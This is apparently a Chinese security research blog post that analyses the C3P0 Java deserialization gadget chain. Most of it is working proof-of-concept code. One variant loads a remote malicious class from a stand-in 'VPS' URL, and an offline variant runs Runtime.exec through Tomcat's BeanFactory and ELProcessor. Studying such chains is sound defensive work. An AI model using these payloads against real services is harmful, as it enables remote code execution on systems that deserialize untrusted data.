C3P0 反序列化链 & 不出网利用
前言
看一下目录:
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
分析过程
ysoserial 中的原理
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase::readObject
漏洞的出发点在于com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
这个类, 该类实现了Serializable
接口并且定义了readObject
方法:
对于这里version
变量我们不用担心, 随后通过readObject
将想要的对象获取过来了, 为什么是这样的逻辑, 实际上是因为writeObject
方法中有所写入:
这里我们看到的是, 代码逻辑为: 如果connectionPoolDataSource
是不允许序列化的, 那么就会走catch
的逻辑, 这里会要求connectionPoolDataSource
必须是Referenceable
类型的, 但变量本身是ConnectionPoolDataSource
类型, 所以未来在构造POC
时, 需要同时满足这两点. 而最终会写入一个ReferenceSerialized
类型的数据, 下面我们看一下该类是否是可利用的.
注意: 当前正在分析 writeObject 的逻辑, 只是我们构造 POC 时要考虑的问题, 真正的漏洞产生关注 readObject 方法即可.
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized::getObject
在com.mchange.v2.naming.ReferenceIndirector
类中有一个ReferenceSerialized
内部类:
该内部类是静态的, 并且是私有的, 也实现了Serializable
接口, 其中定义了getObject
方法如下:
第一个红框圈出来可以看到, 这里有一个明显的JNDI
注入, 但是我们知道的是JNDI
注入是会受到版本限制的, 所以继续看一下ReferenceableUtils.referenceToObject(成员属性[可控],成员属性[可控],nameContext,成员属性[可控])
的定义:
这里存在一个很明显的URLClassLoader
, 随后通过Class.forName(可控,true,写死的URLClassLoader)
进行远程类加载, 所以这里有现成的URLClassLoader
可以直接用. 根本不需要JNDI
注入.
手搓 POC
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized::getObject
链子是从前往后看的, 那我们本地构造POC
肯定是要从后往前一步一步调试:
// 通过反射获取 ReferenceIndirector$ReferenceSerialized 类
Class<?> clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
Reference ref = new Reference("h23333", "heihu", "http://127.0.0.1:8000/"); // 参数2: 恶意类名, 参数3: 恶意VPS
declaredConstructor.setAccessible(true);
Object evilObj = declaredConstructor.newInstance(ref, null, null, null);
// 得到 ReferenceIndirector$ReferenceSerialized::getObject 方法并调用
Method getObjectMethod = clazz.getDeclaredMethod("getObject");
getObjectMethod.setAccessible(true);
Object o = getObjectMethod.invoke(evilObj);
这是调试com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized::getObject
这个方法, 准备heihu.java
源码:
import java.lang.Runtime;
publicclassheihu{
static {
try {
Runtime.getRuntime().exec("calc");
}catch(Exception e){}
}
}
编译并开启HTTP服务
结果:
最终运行我们的POC
即可弹出计算器.
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase::readObject
下面我们需要对链路进行一个衔接. 从之前我们了解过writeObject
的逻辑, 所以这里要针对性的编写一下POC
:
publicclassC3P0Tester{
publicstaticvoidmain(String[] args)throws Exception {
evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便
poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(poolBackedDataSourceBase); // 序列化, 写入 ByteArrayOutputStream
new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject(); // 反序列化, 读取 ByteArrayInputStream
}
}
classevilWriteObjectimplementsConnectionPoolDataSource, Referenceable{
// 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定
// 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑
// 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例
@Override
public Reference getReference()throws NamingException {
// 准备好 Reference, 塞入 evilWriteObject::getReference 中
Reference ref = new Reference("h23333", "heihu", "http://127.0.0.1:8000/"); // 参数2: 恶意类名, 参数3: 恶意VPS
return ref;
}
@Override
public PooledConnection getPooledConnection()throws SQLException {
returnnull;
}
@Override
public PooledConnection getPooledConnection(String user, String password)throws SQLException {
returnnull;
}
@Override
public PrintWriter getLogWriter()throws SQLException {
returnnull;
}
@Override
publicvoidsetLogWriter(PrintWriter out)throws SQLException {
}
@Override
publicvoidsetLoginTimeout(int seconds)throws SQLException {
}
@Override
publicintgetLoginTimeout()throws SQLException {
return0;
}
@Override
public Logger getParentLogger()throws SQLFeatureNotSupportedException {
returnnull;
}
}
运行即可通过URLClassLoader
进行加载恶意类.
写入序列化数据到硬盘 - POC
写入操作:
package com.heihu577;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import sun.misc.Unsafe;
import javax.naming.Name;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Hashtable;
import java.util.logging.Logger;
publicclassC3P0Tester{
publicstaticvoidmain(String[] args)throws Exception {
evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便
poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入
FileOutputStream fileOutputStream = new FileOutputStream("D:/evil.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(poolBackedDataSourceBase); // 序列化
objectOutputStream.close();
}
}
classevilWriteObjectimplementsConnectionPoolDataSource, Referenceable{
// 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定
// 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑
// 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例
@Override
public Reference getReference()throws NamingException {
// 准备好 Reference, 塞入 evilWriteObject::getReference 中
Reference ref = new Reference("h23333", "heihu", "http://127.0.0.1:8000/"); // 参数2: 恶意类名, 参数3: 恶意VPS
return ref;
}
@Override
public PooledConnection getPooledConnection()throws SQLException {
returnnull;
}
@Override
public PooledConnection getPooledConnection(String user, String password)throws SQLException {
returnnull;
}
@Override
public PrintWriter getLogWriter()throws SQLException {
returnnull;
}
@Override
publicvoidsetLogWriter(PrintWriter out)throws SQLException {
}
@Override
publicvoidsetLoginTimeout(int seconds)throws SQLException {
}
@Override
publicintgetLoginTimeout()throws SQLException {
return0;
}
@Override
public Logger getParentLogger()throws SQLFeatureNotSupportedException {
returnnull;
}
}
读取操作:
package com.heihu577;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
publicclassread{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException {
new ObjectInputStream(new FileInputStream("D:/evil.ser")).readObject(); // 反序列化
}
}
最终结果:
不出网的打法
和 JNDI 高版本绕过的相同之处
可以看到, 这里远程类加载, 也是需要出网的, 那么这个时候怎么办呢?这里我们不走URLClassLoader
的逻辑, 如下:
如果fClassLoation
为null
, 则会使用当前环境的ClassLoader
, 如果在WEB
环境下, 则会使用WebAppClassLoader
.
随后会将Class.forName
生成的实例强制转换成ObjectFactory
, 随后调用getObjectInstance
, 这里的代码块和在之前做JNDI
高版本绕过时是一致的, 所以照搬过来就行.
最终结果
环境引入
这里我们需要引入一下Tomcat
:
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
姿势复现
那么我们编写如下原生脚本, 首先是写入序列化文件:
package com.heihu577;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
publicclassC3P0Tester{
publicstaticvoidmain(String[] args)throws Exception {
evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便
poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入
FileOutputStream fileOutputStream = new FileOutputStream("D:/evil.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(poolBackedDataSourceBase); // 序列化, 写入 ByteArrayOutputStream
objectOutputStream.close();
}
}
classevilWriteObjectimplementsConnectionPoolDataSource, Referenceable{
// 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定
// 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑
// 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例
@Override
public Reference getReference()throws NamingException {
// 准备好 Reference, 塞入 evilWriteObject::getReference 中
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); // javax.el.ELProcessor 类名
resourceRef.add(new StringRefAddr("forceString", "x=eval")); // eval 方法名
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')")); // 参数值
return resourceRef;
}
@Override
public PooledConnection getPooledConnection()throws SQLException {
returnnull;
}
@Override
public PooledConnection getPooledConnection(String user, String password)throws SQLException {
returnnull;
}
@Override
public PrintWriter getLogWriter()throws SQLException {
returnnull;
}
@Override
publicvoidsetLogWriter(PrintWriter out)throws SQLException {
}
@Override
publicvoidsetLoginTimeout(int seconds)throws SQLException {
}
@Override
publicintgetLoginTimeout()throws SQLException {
return0;
}
@Override
public Logger getParentLogger()throws SQLFeatureNotSupportedException {
returnnull;
}
}
随后是反序列化读取该文件:
publicclassread{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException {
new ObjectInputStream(new FileInputStream("D:/evil.ser")).readObject(); // 反序列化, 读取 ByteArrayInputStream
}
}
运行即可弹出计算器.
Ending...
原文始发于微信公众号(Heihu Share):C3P0 反序列化链 & 不出网利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论